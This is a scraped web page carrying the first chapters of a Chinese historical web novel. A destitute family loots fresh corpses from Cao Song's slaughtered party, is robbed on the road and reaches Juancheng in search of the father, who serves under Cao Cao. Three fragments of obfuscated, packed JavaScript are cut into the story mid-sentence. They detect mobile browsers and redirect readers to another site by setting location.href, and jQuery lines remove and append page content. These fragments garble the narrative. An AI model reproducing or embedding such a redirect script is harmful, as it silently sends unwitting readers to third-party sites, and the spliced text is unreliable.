《主公我为你生了个小谋士》 1. 扒尸 秋风萧瑟,黄沙漫天。 一辆破旧的老驴车缓缓向前行驶,车轱辘压在黄土路上凸凹不平的泥坑上、石头子儿上、枯草枝上,发出不绝的嘎吱嘎吱声。 车子上坐着四人,前头驱车的是一名身材高大健壮的青年小伙儿,青年虽身材健硕且肤色微黑,却长了一张如玉面书生一般精致俊俏的脸,五官秀美,然神态正直憨厚,掩盖了这份俊美。 他正迎着猛烈的风沙,拼命地驱赶着老驴。 后边的露天车板子上坐着三人,相互偎依在一起,远看着都几乎缩成了一团,三人周身裹着一条破旧发黑的老被子。三人躲在破被子里边,只露出半个后脑勺,看不清长相,一阵风沙袭来,一颗最小的毛绒绒脑袋缩了进去,这下好了,只瞧见两颗脑袋。 “藐儿,不怕,阿娘在呢。” 苍老嘶哑的声音传出,声音着实算不上好听,让人听着都皱眉头,却含了独有的温暖与爱护,一道稚声稚气软乎清甜的声音一板一眼地回:“阿娘不担心,藐儿不怕。” 这时一道少年嗓音又传出:“阿娘偏心,那小病秧子胆子大着呢,就你把她当宝儿,当易碎的瓷娃娃,连昨儿个唯一半块白面馒头也进了她肚子,只因小病秧子吃了粗面饼子不消化会吐。” “都是人,咋就她不一样呢!” “阿娘有这功夫不如关心关心我吧,大哥生得强壮,小病秧子有你护着,就我弱小可怜且无助!” 破被子面积不大,少年半个后背都露在外头,不禁愤怒地扯了扯被子,盖住自己的半截身子,行动间一阵冷气窜进被子里头,最中间的幼童不禁狠狠地打了个喷嚏。 气得老妇眉头一跳,狠狠地将被子又扯了回来,还伸出大掌狠拍在少年后背上。“这趟出逃是藐儿使的主意,我们一家才能从那些豺狼虎豹狗官悍匪中逃出来,这一路赶车出力的是你大兄,维持生计是你老娘我,你干啥了?要老娘说,全家就你是累赘,就你最没用了,还好意思说?趁早给老娘滚蛋,跟你那没用的爹一个德性!” 这下少年不仅半个身子露在外头了,连整个人都暴露在寒风中,他在猛烈萧瑟的大风中凌乱,看着前面穿着全家最后的一件厚外套赶车的青年哭诉道:“大兄!你看看阿娘!你说我是亲生的吗?!” 青年有个和身材相符和颜值不符的名字,他叫金大壮,朝他哭诉的少年叫金二壮,是他弟弟。他转头看了眼,笑了笑说:“赶紧钻回去吧,一会儿冻着了,兄长没银钱给你看病,又没工夫给你耽搁,少不得给你落下,让你自生自灭。” 金二壮:“得,您也是亲的……” 少年仰头望天,“苍天啊大地,难道天大地大就没有我金二壮容身之地?这个世界根本就没有真心关爱疼惜我的人,就我这样的可怜虫死了也不足惜!”他悲壮地站了起来,迎着寒风,跳下了车。 青年赶紧扯住了驾车的绳子,老驴一声急鸣,车子忽而停下,车上的人摔成一团,老妇怒而呵斥:“大儿!你做什么?!” 金大壮赶紧说:“阿娘,阿弟跳车了。” 这时少年一声尖锐的惊叫声响彻了天地,也惊跑了野外一群秃鹫野鹰。 老妇本想说,你还不了解你弟弟啊,就那厮,就算跳车也是骗同情的,只管往前走,保准一会儿又一把鼻涕一把泪生龙活虎追来。 然而就在这时,少年的一声惊天地泣鬼神的惊叫,让母子两人皆心生惊讶和担忧。 驴车这时离着少年跳车之地不足十个车身距离,近得很,往后一瞧,只见少年忽然一倒,像是被吓晕过去了,过了一息又如诈尸般,猛然窜起来。 “我滴娘啊!艹艹艹艹,老子不是故意跳你们身上的……啊啊啊!” 一阵稀里糊涂语无伦次的惊叫后,少年以迅猛之速跑回来,惊慌指着那处:“阿娘,大哥,那里有死人!” “好多好多人,都死了,都死了!” 那边是一个地势略低的小盆坑,被半人高的野草盖住了,因此乍看第一眼没发现什么异常,多看几眼才发现里面隐隐有什么东西。 金大壮和阿娘对视一眼,走过去一看,才发现浅盆坑里摞满了尸体,这还不是一个小坑,是黄土大道旁一个极大的凹陷处,后边有一个很大的土坡,正是土坡下才有的这天然大坑。 金大壮粗略看了几眼,这里堆叠的尸首少说有上百具,各个身上都有刀剑之伤,鲜血淋漓,惨不忍睹,想来是死前经历了残忍地屠杀。 一阵大风袭来,半人高的野草迎风摇曳,似是悲泣哭嚎,大片乌云遮住了满天金黄落日,天色在一瞬暗了下来。 路过时不觉有异,这时才发觉鼻尖弥漫着浓烈的血腥味。金大壮心生不详惶然之感,只想快点离开此处,他的腿和他的手都在轻微颤抖发软,差点没站稳。但他得站稳了,因为他还要带着阿娘弟弟妹妹平安走到兖州,找到他们爹! “阿娘我们掉头走吧,这里不太平,万一那些杀人的都回来了就麻烦了。” 能一下杀死上百人的,定是人数不下于千人的队伍,这些人不是超级大土匪的势力就是乱军,寻常人哪能一下杀死这么多人。 在如今的世道,出门在外若是碰见土匪乱军,祖坟冒青烟了顶顶好运可能会被无视捡回一条小命,否则轻则被抓去充军做杂役、当人肉冲锋军,重则当场就会被杀拿来充当军功人头,哪有什么好下场。 他担心那群人没走远或在附近,这样一来,他们就危险了,毕竟阿娘和幼妹都毫无战斗之力,弟弟也才十来岁出头,他怎能护得住他们。 老妇这时微微扯开裹着脑袋的粗布头巾,深呼吸一口气,她生了一张国字脸,竟是浓眉大眼的,好似一个男人相貌,只是满面风霜,身材瘦小干瘪,苍老的手紧紧地抱着幼童。 幼童身上有一张厚实的小被子单独裹在她身上。 老妇问询了大儿子情况,沉吟了下,将裹着被子的幼童递给金大壮,“照看好你妹妹,我去看下。” 说着就小跑了过去。 金大壮金二壮都闹不明白他们娘准备干什么,往死人堆里跑去干嘛?这时不该离得越远越好? “阿娘是不是有些不对劲儿?”金二壮不确定地说,他好似在一瞬间看到了阿娘的眼神在放光?似乎还有些兴奋和急促? 金大壮看着前方:“别胡说。”虽然他也看不懂阿娘准备干什么。 幼童从被子里冒出一颗小脑袋,稚声稚气地说:“阿娘饿了,正所谓饥不择食,阿兄,阿娘准备吃尸体了。” 金大壮低头看着怀里的妹妹,妹妹白净到几乎病态苍白的小脸蛋,与他如出一辙的精致五官,眉间还有点红色印记,比之传说中的年画娃娃也不为过。她干净的眼神,平静的小脸。 她是怎么说出这一番话的? 少年也凑了过来,忍不住伸出手掐了掐妹妹的脸。“小病秧子说得对,这一路我们都饿了多少顿了啊,阿娘为了我们都舍不得吃,一块饼子要分好几顿,阿娘这么饿着,也难免……唉。这也不怨阿娘,都怪这世道害人!” 少年英勇地说:“吃人就吃人吧,这份罪恶我替阿娘担了!” 眼看着幼小的弟弟妹妹要越说越离谱了,眼看着阿娘已经冲到尸堆上,甚至趴在上面不知道在干什么,青年稳了稳心神,呵斥道:“胡说八道!” “爹曾说过,君子有所为有所不为,尸体生前为人,人则同类,为人者怎可食同类血肉?” 少年反驳:“那傻爹有没有说过,唯女子与小人难养也?这是说,阿娘是女人,想干什么都行!” “唉,我也想当女人啊!” 金大壮:“……”明明知道阿弟在胡说八道,明明知道阿娘不可能吃人的,可是他该怎么反驳! 萧瑟的寒风中,幼童平静地说道:“阿娘是准备看看那些死人身上有什么可用之物,好拿去卖,我们不是盘缠都花光了吗?大兄,你放藐儿下来,你去帮帮阿娘。”幼童说着,手伸向少年,“你来抱我。” 果然,这时他们看到瘦小的老妇不断地在扒尸体,在一具一具尸体来回奔波,脸上挂着兴奋渴望的笑容。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17066791|195140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “老天有眼啊,这些人都刚死!刚死没多久,有些尸体还热乎着呢!” 金大壮这才恍然大悟,刚死的人,没有被人扒过,尸体也还不脏不臭的,能从他们尸体上找些可用之物。 在当今这个世道,扒尸是很常见的一种行为,有些人甚至埋尸体的时候都不敢明目张胆竖碑,怕被人扒了,轻则陪葬之物被偷,重则尸体被抬去煮了,不过前者平民百姓的也没陪葬之物,贵族则有专门看守陵墓的人,主要还是防着后者,当然食尸这个现象也是不多见的,如这样扒尸捡些值钱玩意儿的是大多数。 这种路边的尸体,尤其是刚死没多久的,油水最肥。 他把妹妹塞进二弟怀里,扯了一块布,赶紧跑去帮他娘,就算这是个好办法,但眼下此地也不是久留之地,得尽快离开。 少年僵硬地抱着妹妹,像抱着一块炸弹,他想把小病秧子放下,却被命令:“转身。” “转、转什么身?” “给我挡风。”少年看着妹妹,可爱漂亮的脸蛋,平静软糯的嗓音,她是怎么说出这么寒冷的话。 幼童咳了两声,苍白的脸更苍白,“二兄乖,要听话,不得哭,我们身上已经没有银子了,若我病了,没有银钱看大夫吃药,阿娘大兄定要为我奔波难过,二兄也没有饭吃,说不定还要为了我把二兄卖给人牙子,二兄长得这样俊俏……” 少年瞬间就转过身,将幼童牢牢裹在怀中,瘦弱的身躯挡住了从西北方向吹来的寒风。 他脸色如同这秋日寒风一样萧瑟肃杀。迟早有一天,他要把这小病秧子偷偷沉河里喂鱼去! 大约一炷香多点的时间,老妇和青年就完事回来了。老妇怀里捧着一大堆衣物,全是些绫罗绸缎的好料子,里头夹着昂贵丝绵的外袍,甚至有两件皮毛大衣。老妇有些不甚满足地说:“底下还藏着好些尸首没翻呢,你大哥说来不及了,只好如此了,好在这些人似乎是贵人,瞧他们身上穿的衣服,这样厚实软和,摸起来比我手还细软呢。养一身细皮嫩肉的,真是好福气。” 不过再好的福气,如今也成了黄土一捧,死了都叫人扒尸。老妇叹了口气,也不太兴奋了。贵人尚且如此,他们这样的低贱百姓,也不知道能活到什么时候,不知道能不能顺利带着孩儿们找到他们爹。 金大壮更是找到了两把刀一把剑,正爱不释手地抚摸。 “有了这刀剑,大哥就可以保护你们了!” 这些被杀死的人很可能是贵族,普通百姓是不可能有这种衣物的,附近有许多车轱辘重压过的痕迹,现场却只有尸体没有任何车马,说明被劫掠的财物辎重数量众多,而且被整车整车拉走了。 只是不知道是土匪还是军队所为。 金藐已经不自觉地开始分析起来,这些尸体中,身着绫罗绸缎者仅有十几人,着次等锦衣者几十,这些应当都是贵族中人,其余尸身粗布短卦上百,这些人身上的伤痕更多,应当经过激烈打斗,该是护卫,另外一些身着统一颜色制式布衣的应是仆从。 然而,贵族出行怎么可能带区区百人护卫,按照现场辎重痕迹看,至少有上百辆的车马,至少匹配几百个护卫才敢带这么多东西出行。 这时老妇翻出一件皮毛大衣,“这件料子最是厚实,可暖和了,给藐儿用。” 老妇可不怕什么死人身上的衣服,也不觉得晦气,只要是好料子她就觉得是好东西,什么世道啊,有得穿就不错了,还穷讲究呢! 金大壮说:“不妥,这些东西到了城里都拿去卖了,否则露在外面被看到也会被抢走,惹来不必要麻烦。” 金藐点点头,大哥说得对。 她忽而神色一凝,看到那大衣的里衬上绣着两个字:“曹嵩。” 金藐一时觉得这名字有些眼熟,像是在哪里听过,可又想不起来。 金大壮也翻看着自己手上的刀剑,惊奇道:“这刀柄剑柄上怎么都刻着曹字?” 金藐忽然想起来!历史上东汉末年三国大名鼎鼎的曹操曹老板的父亲不就叫曹嵩吗?! 2. 到达 老驴车继续行驶在黄土路上。 一行四人没有人开口说话,静默地坐着,只余寒风呼啸,野草摇曳,飒飒作响。身后离得越来越远的小山坡上的一棵大树下,拱起一个不太明显的小包。 那是一座坟。 墓前没有立碑,大树的树干上却刻着曹嵩二字。 金大壮心情复杂而沉重,心里憋了一堆的疑问,想了许久还是忍不住问:“妹妹为何如此做?” 金藐窝在阿娘温暖质朴的怀里,在外风餐露宿的,阿娘身上说不上好闻,可却温暖得让金藐眷念,她往阿娘怀里又缩了缩,带着倦意的嗓音轻声说:“就当是做件善事吧,报答赠物之情。我们不问自取拿了人家的东西,虽因为尸体太多,我们力薄不及全部埋葬,但这位老者一看便是领头人,好生埋了他,不至当个孤魂野鬼,也算是报答了。” “至于名字是他衣服上绣的,想来不会出错。” 金藐当然猜测过这位曹嵩是不是三国历史上曹操之父那个曹嵩,她记得曹嵩死于徐州之战之前,正因为曹嵩死了,曹操才愤怒带兵讨伐徐州,之后又引来兖州危局。而杀死曹嵩及其族人的正是护送他们的人,这样一来就可以解释为何曹嵩这样的人物会轻易死于野外了,也能解释为何现场护卫尸身的数量明显匹配不足。不过也可能是个同名同姓的巧合。 不管是不是巧合,都和顺手将其埋了不冲突。 和来时不同,渐渐地,弥漫了一日的大风竟缓缓平息,乌云消散,西边方向的天空乍现大片赤金色,如烈火焚天,刹那间天便明亮了起来,视野也清晰起来。 而老驴车一路向东北,赤金色的天空于他们身后骤然绽放。 天黑前,老驴车到达一处城池,金大壮跑遍了全城才找到唯一一家愿意收物的当铺。这家当铺黑得很,两把上好的刀剑,两件皮裘大衣,数件绫罗绸缎的衣裳,还有数件夹丝绵的厚实长袍,才回给不到两匹绢布,可这家当铺仗着是城中唯一的当铺,将价格压低不说,还趾高气昂,一副你不卖就滚,反正我就出这个价的姿态。 金大壮咬咬牙出了。 这年头,五铢钱已经不好使了,拿去很多地方都买不到粮,但绢布算是比较硬且价值高的通货,各大商铺都收。一匹就足够他们花用许久,金大娘眼疾手快往自己怀里抱住,另外半匹叫儿子拿去采购物资。 民间是买不到地图的,他们也不知道下一站要多远,只能问当地的人往这个方向最近的城池多远,以此来估算距离,所需的物资等等。 这趟出来已经两三月有余,仍还没到达那个叫做兖州的地方。一年前,孩儿他爹曾来了封书信,说他如今在一个叫兖州的地方,有一份差事,等他攒够了家当,就托人带回家中。只可惜到如今一年半过去了,连根毛儿也没见,书信更是许久未曾再回一封,他们只能凭借书信留下的地址去寻人。 东西买得差不多,在城里的客栈住上一宿,好生洗个澡吃顿热饭,再好生睡上一觉,这就是这一路来最好的享受了。 金大娘想着小闺女给那老汉挖坟埋了的事,顿时明悟闺女的道理。要是没有他们那帮死人,哪有客栈住哪有热饭吃,这下出行的盘缠又有了,实在是大好人大好事啊!是大恩就得报! 金藐今年三岁有余,过了明年春才到四岁,她不足月而生,先天不足,身子自小比同龄孩子小上一圈,体质差,容易生病,气力不足,稍一折腾便困累乏力,因此早在吃过饭时就昏昏地睡过去了,身子是阿娘用布沾了热水擦干净的,穿上干净的里衣,裹进被子里,再被阿娘抱怀里沉沉地睡过去。 另外兄弟俩在边上打地铺睡,就算手头宽裕些,金大娘也是不许他们挥霍的,出门在外住一间还安全。 第二天一早,乐极生悲的事儿来了。金藐生病发烧了! 金大娘的天塌了! 怀里抱着热乎乎的一团,都不敢抱出门,用被子紧紧地裹住,吩咐大儿子去请大夫,吩咐二儿子去找小二要热水,金大娘急得汗都要掉下来了。 她反复地念叨:“扒尸是我的错,不是藐儿的错,藐儿心善,给您立了坟,若有冤找那些杀死你们的人,若有气只管找老身,我的小藐儿是无辜的,可怜她自小没见过一面她那没良心的爹,多少次从鬼门关里爬回来,能养大到现在不容易,别收了她,要报找我老身来……” 大夫很快来了,诊断风寒入体,摇着头说这般大身子又先天不足,喝了药能不能熬过来全看天意。 金大娘泪着眼睛瞪二儿子:“昨天是不是你让藐儿吹风了?” 少年看看屋顶看看地板,手指抓着身上破旧的衣裳边角,心虚不安。他昨儿是让小妹吹风了,可是也只吹了一瞬间,他很快在她的淫威下…… 可他昨天还在愤怒咒过小病秧子。 少年梗着脖子,“是她身子太弱了!这一路上走来,要不是因她几次三番生病,我们卖掉所有家业田产的盘缠怎么会这么快用光!都怪她!” 金大壮在弟弟脑袋上拍了下,“都是一家人,你怎么可以这么说话?平时打打闹闹就算了,现在不可再说这种话,让妹妹听了岂不伤心。” 小病秧子才不会伤心呢,金二壮心里嘀咕。他有时都怀疑小病秧子根本没有心!她简直是个小怪物! 一只飞鞋丢过来,准确地打在少年脸上,金大娘抱着闺女坐在床上,就算不便跑过来揍他一顿,飞鞋之法也是使惯了,百发百中。 “再说这种话,你就留在这里!” 金藐这趟生病又一次有惊无险地熬过来了,等好起来已经是数天后的事情,为了给她抓药看大夫,金大娘藏起来那匹绢布已经割去半匹,金大壮那半匹供完吃住和购买物资,正好只剩半匹。 金大壮寻人打听了,这是一个叫做戈阳郡的地方,属于豫州。豫州和兖州相邻,再往北走,就能到达兖州。由于问到的人都没去过兖州,金大壮也不知道从这里到兖州要多久时间,只知道还要经过好几个城池,下一站汝南郡。 老驴车载着一家四口从客栈离去,身后尾随着行色可疑的一帮人,到城外后,看着围成一圈的十几个人,金大壮摸摸自己留下的一把藏在稻草里的刀,评估了下自己和对方十几个人的武力值差距,又看了眼闭着眼睛的妹妹,老老实实将车上半匹布交了出去。金大娘死扯着不放,金大壮红着眼睛:“阿娘,留得青山在不怕没柴烧,劫匪这么多人我们斗不过的。” 为首的劫匪不满,“你们不是卖了一匹半?” 金大壮心里大恨!那个黑心的当铺不但压低价格,还伙同劫匪抢劫,连他们卖了多少都知道,这几天肯定都盯着他们呢。 “我幼妹身子弱,生病了,这几天看病抓药花了不少,不信你们可以找城里春草堂药馆的王大夫问话!” 劫匪早就盯了几天,也大概知道这几个人的行踪,没多计较就说:“那把你们其他东西都交出来!” 最后,车上采购的所有物资都被抢走了,尤其是御寒用的厚被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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不知道过了多久,乞丐的日子是没有数的,反正像是过了几个月,也像是一眨眼,更像是过了半辈子,感觉一路来人意识有些不清晰了,浑浑噩噩的,每天只知道看着太阳的方向赶路,乞讨些东西吃,有力气了便继续赶路,没力气就暂时歇着。寒冬时候,没法赶路,无处可去,绝望之际在路上小村口碰见一孩童吃东西噎着了险些窒息,金藐教大兄用海姆立克法救了这孩童,之后便在这孩童家里住下了,险险挨过这个冬天。 金藐终于领悟,乱世时代人在外头低调是最好的防护,越是凄惨越安全,因此她一路秉着无为就是福的策略,只想办法让自家一路平顺地往北走便好。 磕磕绊绊的,遇过土匪也遇过乱军,难民打了不少交道,几次死里逃生,其中艰辛不足外道,一家四口在来年春终于有惊无险地到达了兖州。 鄄城,如今兖州的主城。 这是一座面积不大但热闹安全稳定的城池,城墙上插着曹字旗迎风而立,城门口站着训练有素的守卫军。 这里的百姓也比金藐一路走来见过百姓精神风貌要好上不少,至少还能见到好些脸上挂肉满脸笑容的百姓,不至都面黄肌瘦。面黄肌瘦当然不少,只是没有那种走投无路的绝望贫瘠之感,那才是真正无家可归无路可走无粮可食的真难民。 说的就是金姓这四人。 不过说他们贫是真的,来这一趟也确实没退路,但他们身上可没什么绝望感! 鄄城城门口,在一群穿着粗糙朴素但整洁的百姓中,一个瘦小老妇、一个高大青年、一个瘦弱少年、一个病态孩童的乞丐四人组,格外扎眼。 四人一同仰望着高大的城墙,满脸的兴奋和惊奇,有一种翻山越岭终于到达终点的解脱感。老妇一屁股坐地上了,指着城墙。 “大壮你识字,瞅瞅上面俩字是不是鄄城?” “是,阿娘,我们到了!” 3. 找爹 鄄城还算繁华安定,自打曹操占领了兖州后,曹家军就认真治理这带,尤其作为主城的鄄城,上位者管理有章法,百姓生活有了秩序,就有了生产力,于是治安军事都算安定。 正值正午时分,城中人来人往,热闹得很,三月末虽还有些料峭的春寒,却比早春要暖得多。 城中心暂时作为州府衙门办公的地方,整个兖州的军事政治命令都是从此处发出。中午饭点,府衙门大开,陆续有不少人从里头走出来,这些人中有年轻人、中年人、老年人,无一例外都是些看上去有学识的读书人,这些都是在此处工作上班的人。 每一个从这个大门出来的人都会得到路过百姓羡慕仰望的目光。 读书人啊,为曹公那等大人物办事的人啊! “听说曹公手底下的都是才华横溢之辈,没有一个孬的,全是鼎鼎大名的大人物!” “人家那脑子不知道怎么长的,可厉害着呢,听说动动嘴皮子就能千里之外取敌人首级!” “我们鄄城如今这般安定,都仰赖这些大才能者的庇护!” 从这里走来的人听到这些话,哪怕不是第一次听了,日日都能听到不重样的崇拜敬仰夸赞之语,却也不免暗自得意,昂首挺胸。 此时,走出的一群四五个人里。有个叫金铁锤……不,如今早已改名叫金无涯的中年男人,下了值和同僚一起走。往常他都是一个人默默缩在最后头的,今次被几个人围在中间,看似众星拱月,实则…… “这个月的考核后日就要出结果了,子归可会紧张?” 金无涯,字子归,文绉绉的名儿,似乎颇有寓意的字,他还长着一张极其俊俏的脸,肤色也颇为白皙,瞧着很有文人风范,只是过于瘦弱,宽大的衣袍让他看起来有几分仙风道骨之色,笑起来眼纹隆起,很有温润之感。 出言的同僚瞧着他那张脸,冷哼一声,都有些不好意思继续说了,于是侧头不看他。 金无涯双手拢着袖子,只觉一阵寒风袭来更冷了,不禁拢得更紧了。他神情也有些紧张,染上愁绪。 “你们就别为难子归了,平常他总是吊车尾,若不是主公心善,看他可怜哪会容许他还留在这里。” “主公何等雄主,怎会记得他这等小人物。” “要不是谋主大人心善宽和,岂会容他一而再再而三吊车尾无所作为,只会吃白饭。这次荀公外出巡视,眼下鄄城程公主事,这位爷可是出了名的刚正强硬,眼里容不得沙子,这次考核也是他老人家主持的,只怕再过两日我等都看不见子归了。” 金无涯脸色一瞬僵硬,心里凉飕飕的,他知道他们虽然故意在他面前冷嘲热讽拿他开涮取乐,但他们说得没错。他本就兢兢业业如履薄冰,想尽了一切办法,才能撑着这份差事。可他这么久以来,不仅毫无建树,也毫无作为,甚至犯过多次错误,能留到现在已经是奇迹。 荀彧大人心胸宽广,为人宽厚温和,他才能在一次次吊车尾中苟活。可程昱大人已经看他不顺眼很久了,那位主儿可不是荀公这等人物可比的,他强硬着呢,他刻薄着呢,他看不顺眼无所作为的废物们已经很久了,巴不得把所有吃主公白饭的废物们统统扫地出门,只留下有用的。 金无涯的心完全垮了下来,却强撑着笑脸说道:“诸位都是我的好友好同事,我知过去我能留下有赖诸位帮助,金某感激不尽,这回还望诸位再出出力帮帮某。” “荀公不知何时才能回来,诸位既知程公刚正不阿,手段强硬,应知他早已视我等末流如臭鱼烂虾,恨不得早日扫地出门,若是此次他趁着荀公不在,清理门户……这次是我,下次便会是你是他,再下下次又会是谁呢?” 其他几人:“……”也是啊。 往常他们都会帮金无涯说话,想让他留着继续吊车尾,这样出了差错总有他顶锅,上头大谋士们想起底下最差的小角色,也有金无涯顶着。主公要杀鸡儆猴,也是金无涯顶着。 他要是真被弄走了,以后谁来顶锅,谁来当吊车尾?谁来当儆猴的鸡? 这下换他们愁了。 金无涯说完,揣着袖子大步流星地往外走。把烦恼甩给别人,自己感觉就轻松多了。 今日他不知为何眼皮子直跳,从早上起床不安到现在,总觉得有什么事要发生。 想来想去也只能是考核的事吧。 曹公治下严明,其帐下的谋士团也有着严格的管理办法,其中每月一次的考核就是谋士们必须要过的一关,那些深受宠信频有建功的大谋士们自然不愁,可底层的谋士们却都对每月一回的考核畏之如虎。 这个考核轻则扣月奉,重则开除,回家吃个儿。 在如今这个世道里,有名望的人才们是不缺差事去处的,没名望又没才能只靠苟混日子的人,诸如金无涯,那是万不能没了这份差事的,若是没了,他可不知道他要怎么在这乱世里苟活下去。 这回真躲不过去了…… 金无涯背着手,背似乎都佝偻了一瞬,暗自叹了声。 荀彧出身世家大族,身上自有世家风范,君子古风,待人处事温和宽厚,可程昱这厮不太一样,他是真的会把他们……尤其是他这样毫无建树吃干饭扫地出门的…… 说不得这次就是他故意使开荀公,背地里偷偷清理门户,反正主公不在,荀公也不在,这里还不是他说了算! 有好几回他撞见程昱跟荀公争执,说留着他们无用。 荀彧却说水至清则无鱼,鱼苗再小他日亦有其意想不到之用处,不过多养几人,又何妨? 程昱可不这样认为。他认为垃圾幕僚没资格在主公帐下吃白食。 金无涯揣着袖子,走在大街上,愁眉苦脸地进了一家面馆,点了碗鸡汤面吃,仅有鸡汤没有肉,面上卧了个鸡蛋和几颗青菜葱花,胜在分量大,热乎乎的汤面,吃下一碗,整个人也暖和起来。 这会儿是正午,吃完午饭一会儿还得回衙门上班,若是到了晚上,金无涯还会打二两酒,买两块饼子,回家吃。 这日子已经过得比寻常百姓好了,应是胃里暖了,幸福感上涌,金无涯满足地叹口气,主公势力日益强盛,苟在治安最好的主城区做事,没有危险,有饱饭吃,他该知足的! 说到寻常百姓。 金无涯想起了他那远在乡下老家的老妻,还有老妻给他生的三个孩子。前头两个生的时候,大儿生的时候他尚在家中,且亲自教他认字读书,二儿子生时他也会去看了几眼,陪着好些日子。只最小的那个没见过,只在书信上听说老妻生了个女娃,今年 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17066793|195140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 该有三岁了?还是四岁? 不知长得如何,身体可康健,俊不俊?女孩若是长得像他则极好,若是像老妻……那可咋办。 思及此处,他又狠狠打了个喷嚏。 定是家中老妻幼子想他了,好长时间没寄家书回去了,过两日就写信寄回,老妻定会高兴。 城门口的乞丐老娘也打了个喷嚏,周围人群一蹦三尺高,通通远离这乞丐四人组。 这四人不知道打哪儿来,一身的臭味儿怪味儿酸味儿!瞧他们身上穿的衣服,那都不能算衣服了,简直是破布烂衫,也不知道有没有什么疾病,万一被传染了可不好! 有个好事者尖酸刻薄地喊道:“军爷,军爷,快来看看这里,这里有四个染病的臭乞丐,可不能让他们进城里,万一把病传染给别人怎么办?” 守门的士兵走了过来。 四人周围形成一片空地,排队进城的人纷纷围着看热闹。 金藐缩在大兄怀里,她的小脸蛋如今黑漆漆的,到处都污泥。 有心软的大婶看了,不免觉得可怜,这么小的娃。还从挎着的篮子里掏出一块热乎的饼子给她,“小娃子,饿不?吃口。” 金藐看了看阿娘,才接了过来,“谢谢大婶子。” 士兵问他们打哪儿来的? “如今鄄城人口饱和,上官不许进灾民,你们若是无路引许可又不是本地人,是不可进入其中的。” 金大娘此时已经一屁股坐在地上,开始拍地板,哭天喊娘。 “我们是来找我没良心的夫君的,他就在城里的,他来信说了他在兖州这个叫鄄城的地方……是吧,大壮,娘没记错?” “是鄄城没错,阿娘。” 老妇哭得更大声更凄惨更理直气壮了,“我夫君如今就在这城里谋了份差事,是在替大人物干活呢,他在这里落脚,干了这么久,咋就不算这里人?我们是他妻儿老小,是他最亲近的人,那我们也是这鄄城人!” 围观群众百姓们纷纷议论起来,看热闹的多,信的少。 “谁信啊!这乞丐浑身脏兮兮臭烘烘的,不知道多久没洗澡换衣裳了,她夫君若真的给大人物办事,岂会让妻儿当乞丐?肯定是瞎说的,想趁机混进城里!如今外面世道乱得很,如他们这般的乞丐难民多得很,就这点伎俩还想浑水摸鱼混进城里面?” 士兵瞪了一眼说话的人,这个人说话条理清晰,不似一般百姓,看着也可疑,遂问他是何人。 他骄傲地仰头说:“我可是读书人!我爹在曹公帐下当差儿,他叫白行之听过没?” 士兵没听过,曹公帐下做事的人太多了,有名有姓者不少,但没名没姓的更多,哪记得过来。 只是这人连名字都敢报出来,神色间的骄傲也不似作伪,应当不假。 自古以来大娘大婶们撒泼打滚的时候,那便是世界上最大的杀招。除非哪里有鸡蛋抢,否则再大的事儿都没法阻拦她们,士兵无奈地看向抱着幼童的落魄青年。 “你识字?你来说。你们来自哪里的,进城为何,找的是谁?” 金大壮一手抱着妹妹,一手拱了拱,“我们自家乡而来,来鄄城找我爹,我爹名叫金铁锤,他来的书信说他在兖州鄄城工作,对了,他住的地方叫程府。” 4. 无耻 午休没歇够,程昱便已坐在案前处理公事。 近来公事繁忙,主公出兵在外,荀彧外出巡视其他城池,而他负责坐镇鄄城中心处理政务。 如今月末,赶上考核。思及考核之事,程昱按了按太阳穴,如果他将末尾那几个吃干饭的废物全部扫地出门,不知荀彧回来是否会有意见? 但他不似荀彧温吞,更看不得这种蛀虫苟活在主公帐下。若主公要成事,这些吃白饭的废物就不能占着茅坑不拉屎,就得一一清扫出去,好把位置让给真正有才能之人! 也罢!就算荀彧真有意见,也不至于为了几个废物同他计较。 程昱看着案上的名单,只待后日……他嘴角扬起一抹快意的微笑。 就在这时,下属来报,说他府上的仆从来寻。仆从上来开口便说:“老爷,城外的官差传话,问咱府上有没有一个叫金铁锤的人。” 程昱皱眉,“当然是没有!这等小事你也来报?城外那些士兵又是干嘛的?” “老爷,士兵说中午城外来了老少小四个乞丐,这四个乞丐虽然形容佝偻狼狈不堪,但那个大的说话颇有条理,也识字读过书,说他们一家是来找爹的,他们爹名叫金铁锤,如今就在鄄城里工作,做的差事是啥不晓得,只说住的地方叫程府。士兵一听程府,这可不得了,这不是咱老爷的府邸吗?于是就派人来问话,看是不是放他们进来。” 鄄城本地姓程的可不多,再说寻常百姓也没个程府之说,最有名的就是程昱的府邸了。 程昱眉峰一厉,“是何人胆敢冒充我程府之人?” “叫士兵把他们抓起来关入大牢!” 仆从小心翼翼地提醒道:“您忘了,两年前,七爷来咱府上住的时候,曾带回过一个救命恩人,后来因七爷举荐,老爷您就把他安插在了曹公帐下,也就是如今在您手底下办事呢。” “此人叫金铁锤,如今去哪儿了,小人再没听过这名字,只是前些日子,好像街上看过这人。” 